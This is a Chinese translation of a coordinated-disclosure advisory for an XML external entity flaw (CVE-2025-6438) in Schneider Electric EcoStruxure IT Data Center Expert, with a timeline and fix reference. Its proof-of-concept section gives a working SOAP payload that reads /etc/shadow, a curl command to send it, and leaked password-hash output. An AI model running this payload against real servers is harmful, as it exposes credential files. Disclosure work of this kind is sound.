KL-001-2025-006: 施耐德电气EcoStruxure IT数据中心专家XML外部实体注入
1. 漏洞详情
- 受影响厂商:施耐德电气
- 受影响产品:EcoStruxure IT数据中心专家
- 受影响版本:8.3及之前版本
- 平台:CentOS
- CWE分类:CWE-611:XML外部实体引用限制不当
- CVE ID:CVE-2025-6438
2. 漏洞描述
“DataExchange"路由允许SOAP请求的XML主体包含对外部实体的引用。这使得未经身份验证的攻击者能够读取本地文件、执行服务器端请求伪造(SSRF)并耗尽Web服务器资源。
3. 技术描述
从已认证用户的角度,可以向”/DataExchange/DataExchangeService" Web路由发送SOAP请求,在POST主体中提供XML文档。当Web应用程序处理XML时,会不安全地解析引用外部资源(如本地文件)的实体。
“GetHistoryRequest” SOAP操作可用于通过将实体引用放置在XML文档的"Id"参数中来泄露解析后的值。生成的错误消息反映了已解析实体的值,例如本地文件的内容。
4. 缓解和修复建议
EcoStruxure IT数据中心专家9.0版本包含针对这些漏洞的修复程序,可通过施耐德电气客户服务中心获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf
5. 致谢
该漏洞由KoreLogic, Inc.的Jaggar Henry和Jim Becher发现。
6. 披露时间线
- 2024-11-21:KoreLogic向施耐德电气CPCERT报告漏洞详情
- 2024-11-22:厂商确认收到KoreLogic的提交
- 2024-12-06:厂商确认报告的漏洞
- 2024-12-12:厂商请求与KoreLogic会面讨论修复时间表
- 2024-12-18:双方同意将漏洞详情保密至2025年7月产品更新9.0
- 2025-01-29:厂商提供状态更新
- 2025-03-17:厂商提供包含修复的测试版本
- 2025-06-20:厂商通知KoreLogic公开日期为2025-07-08
- 2025-07-08:厂商公开披露
- 2025-07-09:KoreLogic公开披露
7. 概念验证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
[attacker@box]$ cat payload
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/shadow'>]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns="http://www.schneider-electric.com/common/dataexchange/2011/05">
<soapenv:Header/>
<soapenv:Body>
<ns:GetHistoryRequest>
<ns:GetHistoryParameter>
<ns:Id>&test;</ns:Id>
</ns:GetHistoryParameter>
<ns:GetHistoryFilter>
</ns:GetHistoryFilter>
</ns:GetHistoryRequest>
</soapenv:Body>
</soapenv:Envelope>
[attacker@box]$ curl --digest --user kore:logic \
-k https://dce.example.com/DataExchange/DataExchangeService \
-H 'Content-Type: text/xml' --data @payload
|
响应显示/etc/shadow文件内容:
1
2
3
4
5
6
7
|
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soap:Body><soap:Fault><faultcode>soap:Client</faultcode><faultstring>Invalid
Id</faultstring><detail><Fault_Invalid_Id
xmlns="http://www.schneider-electric.com/common/dataexchange/2011/05/DataExchangeInterface/Fault">root:$6$nAQ9/nHfzNJH2Q28$t0.KyJ810alBDwz3NGyEWNGWzQgXdrsUooT1UbXKz9SfpkHLaZngVY6oA8TVCYnCqP2boorvDsmufXawpy1T41:20021:0:99999:7:::
bin:*:19767:0:99999:7:::
daemon:*:19767:0:99999:7:::
...
|